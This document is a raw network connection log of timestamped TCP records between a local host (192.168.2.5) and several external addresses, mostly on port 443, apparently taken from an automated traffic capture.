Oct 31, 2024 03:04:21.144656897 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.144745111 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.144767046 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.698987961 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.699006081 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.699098110 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.699172974 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.748521090 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.805109024 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.839651108 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.883234024 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.889178038 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.893435001 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.893460035 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.894340038 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.894345045 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.894929886 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.894934893 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.895705938 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.895709991 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.896802902 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.896811008 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.897371054 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.897376060 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.019798040 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.019903898 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.020003080 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.022021055 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.022099018 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.022161007 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.026896000 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.027107000 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.027203083 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.271328926 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.271338940 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.271347046 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.271349907 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.272954941 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.272962093 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.272970915 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.272974014 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.300738096 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.300760984 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.439421892 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.443922997 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.467840910 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.467849016 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.468535900 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.468539953 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.472910881 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.472970963 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.473483086 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.473496914 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.548130035 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.548171997 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.548237085 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.594470978 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.594691038 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.594770908 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.600076914 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.600255966 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.600328922 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.678960085 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.678987980 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.709393978 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.709393978 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.709424973 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.709443092 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.711436987 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.711437941 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.711483955 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.711525917 CET	443	49760	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.794732094 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.794822931 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.794918060 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.797679901 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.797719002 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.797772884 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.851435900 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.851461887 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:22.852844000 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:22.852859020 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.051425934 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:23.051469088 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:23.051534891 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:23.052831888 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:23.052845955 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:23.071949005 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.071965933 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.072036028 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.090579033 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.090590000 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.092266083 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.092272997 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.092333078 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.092817068 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.092829943 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.414969921 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.441235065 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.441263914 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.441749096 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.441755056 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.569149017 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.569308996 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.569451094 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.579904079 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.579950094 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.579962969 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.579971075 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.581144094 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.582591057 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.583290100 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.583302021 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.583893061 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.583898067 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.590399981 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.590460062 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.590919971 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.590933084 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.622597933 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.622632027 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.622894049 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.634085894 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.634098053 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.716392994 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.716590881 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.716646910 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.721533060 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.722023964 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.722136974 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.744720936 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.744730949 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.744741917 CET	49763	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.744746923 CET	443	49763	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.746118069 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.746153116 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.746196032 CET	49762	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.746212006 CET	443	49762	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.828675985 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.836525917 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.908648014 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.908674955 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.909041882 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.909061909 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.909167051 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.909172058 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:23.909573078 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:23.909579039 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.033811092 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.033919096 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.034100056 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.037374973 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.037520885 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.038202047 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.137770891 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.236839056 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.361596107 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.413885117 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.413925886 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.413992882 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.452824116 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.452857971 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.454566956 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.454583883 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.454632044 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.459593058 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.459605932 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.459772110 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.459794998 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.459810019 CET	49772	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.459815979 CET	443	49772	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.466564894 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.466681957 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.469347954 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.469369888 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.471431017 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.471431017 CET	49771	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.471441984 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.471450090 CET	443	49771	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.486287117 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.486315012 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.486393929 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.486561060 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.486573935 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.489660025 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.489675999 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.490199089 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.490202904 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.512695074 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.512727022 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.512789011 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.513073921 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.513091087 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.513556004 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.513580084 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.513628960 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.513756037 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.513767004 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.525199890 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.615294933 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.615369081 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.615428925 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.616945982 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.616945982 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.616962910 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.616978884 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.619282007 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:24.619327068 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:24.630494118 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.630525112 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.630594015 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.632101059 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:24.632128000 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:24.707164049 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.751981974 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.752106905 CET	443	49768	94.245.104.56	192.168.2.5
Oct 31, 2024 03:04:24.752172947 CET	49768	443	192.168.2.5	94.245.104.56
Oct 31, 2024 03:04:24.841454983 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:24.841495991 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:24.841563940 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:24.843054056 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:24.843067884 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:25.184405088 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.196180105 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.196197987 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.196712017 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.196717978 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.213316917 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.215042114 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.215060949 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.216178894 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.216190100 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.238924026 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.239696980 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.239729881 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.240283966 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.240288973 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.242816925 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.243258953 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.243273020 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.243727922 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.243731976 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.321643114 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.321984053 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.322033882 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.327146053 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.327162027 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.327172041 CET	49775	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.327177048 CET	443	49775	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.349118948 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.349431992 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.349509001 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.366588116 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.366646051 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.366723061 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.367199898 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.371203899 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.371258974 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.371337891 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.372550964 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.372715950 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.376485109 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.383225918 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.383225918 CET	49778	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.383249044 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.383259058 CET	443	49778	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.386127949 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.386205912 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.386323929 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.386395931 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.386413097 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.386423111 CET	49781	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.386428118 CET	443	49781	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.387245893 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.387259960 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.387509108 CET	49782	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.387516975 CET	443	49782	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.388289928 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.388319969 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.394237041 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.394270897 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.394507885 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.394529104 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.395205975 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.395210028 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.398348093 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.398379087 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.398659945 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.399405003 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.399426937 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.401307106 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.401330948 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.401469946 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.402893066 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.402925968 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.522036076 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.522305965 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.522367001 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.537503004 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.537523985 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.537765026 CET	49783	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.537770987 CET	443	49783	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.699251890 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.699275017 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.699435949 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.773984909 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:25.774019957 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:25.774245977 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:25.777420044 CET	49802	443	192.168.2.5	18.244.18.122
Oct 31, 2024 03:04:25.777451992 CET	443	49802	18.244.18.122	192.168.2.5
Oct 31, 2024 03:04:25.783297062 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:25.783307076 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:25.908663988 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:25.908761024 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.099149942 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:26.099220037 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:26.099361897 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:26.099560976 CET	49805	443	192.168.2.5	142.250.186.33
Oct 31, 2024 03:04:26.099596024 CET	443	49805	142.250.186.33	192.168.2.5
Oct 31, 2024 03:04:26.113389969 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.113410950 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.113713980 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.115083933 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.115113020 CET	49784	443	192.168.2.5	40.126.31.69
Oct 31, 2024 03:04:26.115155935 CET	443	49784	40.126.31.69	192.168.2.5
Oct 31, 2024 03:04:26.115259886 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.116017103 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.116056919 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.116708040 CET	49788	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.116722107 CET	443	49788	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.134383917 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.134385109 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.134990931 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.135015965 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.135132074 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.135175943 CET	443	49787	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.135934114 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.135942936 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:26.136033058 CET	49787	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:26.136046886 CET	443	49787	13.107.246.45	192.168.2.5
